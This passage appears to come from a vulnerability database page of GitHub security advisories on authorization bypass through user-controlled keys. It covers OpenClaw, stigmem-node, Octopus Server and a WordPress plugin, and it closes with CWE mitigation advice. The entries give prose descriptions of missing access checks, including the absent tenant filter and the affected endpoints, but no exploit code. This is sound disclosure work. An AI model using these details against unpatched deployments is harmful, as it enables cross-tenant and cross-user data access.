  "details": "## Summary\nNextcloud Talk room authorization matched on collidable room names instead of the stable room token, allowing policy confusion across similarly named rooms.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: \u003c 2026.3.22\n- Fixed: \u003e= 2026.3.22\n- Latest released tag checked: `v2026.3.23-2` (`630f1479c44f78484dfa21bb407cbe6f171dac87`)\n- Latest published npm version checked: `2026.3.23-2`\n\n## Fix Commit(s)\n- `a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66`\n\n## Release Status\nThe fix shipped in `v2026.3.22` and remains present in `v2026.3.23` and `v2026.3.23-2`.\n\n## Code-Level Confirmation\n- extensions/nextcloud-talk/src/inbound.ts now resolves allowlist policy from roomToken-backed room identity.\n- extensions/nextcloud-talk/src/policy.ts now keys room authorization on stable room tokens instead of display names.\n\nOpenClaw thanks @zpbrent for reporting.",
  "id": "GHSA-xhq5-45pm-2gjr",
  "modified": "2026-04-18T00:56:28Z",
  "published": "2026-03-26T21:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xhq5-45pm-2gjr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a47722de7e3c9cbda8d5512747ca7e3bb8f6ee66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-policy-confusion-via-room-name-collision-in-nextcloud-talk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Nextcloud Talk room allowlist matched colliding room names instead of stable room tokens"
}

GHSA-XHV3-Q4XX-349R

Vulnerability from github – Published: 2026-06-19 21:43 – Updated: 2026-06-19 21:43
VLAI
Summary
stistigmem-node: quarantine review surface exposes and mutates other tenants' quarantined facts (cross-tenant BOLA)
Details

Summary

On a multi-tenant stigmem node, a tenant administrator could list, read, and admit or reject quarantined facts belonging to other tenants. The list/count queries and _get_quarantined_fact in routes/quarantine.py lacked an f.tenant_id = identity.tenant_id predicate, and the garden lookup was not tenant-scoped — reached via the /v1/quarantine list and admit/reject endpoints.

Impact

Cross-tenant confidentiality (reading another tenant's quarantined content) and cross-tenant integrity (moderating — admitting or rejecting — another tenant's facts), gated only by a plain tenant write capability rather than a node-level admin authority.

Affected configurations

This is a cross-tenant break. It is exploitable only on deployments running the opt-in stigmem-plugin-multi-tenant (multiple tenants on one node). A default single-tenant node has only tenant="default" — there is no second tenant to cross — so it is not exploitable on default deployments. The rating is HIGH for the multi-tenant deployments the plugin exists to isolate.

Patches

Fixed in 0.9.0a12 (PR #728): AND f.tenant_id = identity.tenant_id was added to the list/count queries and _get_quarantined_fact; the garden lookup is now tenant-scoped; and any genuinely cross-tenant moderation is gated behind can_admin_federation() (node superadmin), not a tenant write capability. A tenant-B admin can no longer list, admit, or reject tenant-A's quarantined facts.

Workarounds

None other than upgrading to 0.9.0a12. Single-tenant deployments are unaffected.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "stigmem-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0a12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:43:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nOn a multi-tenant stigmem node, a tenant administrator could list, read, and **admit or reject** quarantined facts belonging to **other** tenants. The list/count queries and `_get_quarantined_fact` in `routes/quarantine.py` lacked an `f.tenant_id = identity.tenant_id` predicate, and the garden lookup was not tenant-scoped \u2014 reached via the `/v1/quarantine` list and admit/reject endpoints.\n\n### Impact\nCross-tenant confidentiality (reading another tenant\u0027s quarantined content) and cross-tenant integrity (moderating \u2014 admitting or rejecting \u2014 another tenant\u0027s facts), gated only by a plain tenant `write` capability rather than a node-level admin authority.\n\n### Affected configurations\nThis is a cross-**tenant** break. It is exploitable **only** on deployments running the opt-in `stigmem-plugin-multi-tenant` (multiple tenants on one node). A default single-tenant node has only `tenant=\"default\"` \u2014 there is no second tenant to cross \u2014 so it is **not exploitable** on default deployments. The rating is HIGH for the multi-tenant deployments the plugin exists to isolate.\n\n### Patches\nFixed in `0.9.0a12` (PR #728): `AND f.tenant_id = identity.tenant_id` was added to the list/count queries and `_get_quarantined_fact`; the garden lookup is now tenant-scoped; and any genuinely cross-tenant moderation is gated behind `can_admin_federation()` (node superadmin), not a tenant `write` capability. A tenant-B admin can no longer list, admit, or reject tenant-A\u0027s quarantined facts.\n\n### Workarounds\nNone other than upgrading to `0.9.0a12`. Single-tenant deployments are unaffected.",
  "id": "GHSA-xhv3-q4xx-349r",
  "modified": "2026-06-19T21:43:00Z",
  "published": "2026-06-19T21:43:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/security/advisories/GHSA-xhv3-q4xx-349r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/pull/728"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eidetic-labs/stigmem"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "stistigmem-node: quarantine review surface exposes and mutates other tenants\u0027 quarantined facts (cross-tenant BOLA)"
}

GHSA-XJ53-RHQX-X9X6

Vulnerability from github – Published: 2022-10-13 12:00 – Updated: 2025-05-15 15:31
VLAI
Details

In affected versions of Octopus Server it is possible to reveal information about teams via the API due to an Insecure Direct Object Reference (IDOR) vulnerability

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-2828"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-13T05:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In affected versions of Octopus Server it is possible to reveal information about teams via the API due to an Insecure Direct Object Reference (IDOR) vulnerability",
  "id": "GHSA-xj53-rhqx-x9x6",
  "modified": "2025-05-15T15:31:07Z",
  "published": "2022-10-13T12:00:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2828"
    },
    {
      "type": "WEB",
      "url": "https://advisories.octopus.com/post/2022/sa2022-19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XM3P-GGHG-F4V9

Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-06 18:30
VLAI
Details

The MultiVendorX WordPress plugin before 5.0.11 does not verify that the requested store belongs to the current user in one of its REST API endpoints, allowing any vendor-level user to read other vendors' commission and financial data.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-16746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T07:16:36Z",
    "severity": "LOW"
  },
  "details": "The MultiVendorX  WordPress plugin before 5.0.11 does not verify that the requested store belongs to the current user in one of its REST API endpoints, allowing any vendor-level user to read other vendors\u0027 commission and financial data.",
  "id": "GHSA-xm3p-gghg-f4v9",
  "modified": "2026-08-06T18:30:34Z",
  "published": "2026-08-05T09:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16746"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/721033a0-b0bb-4a64-a99a-12ac416b20fd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

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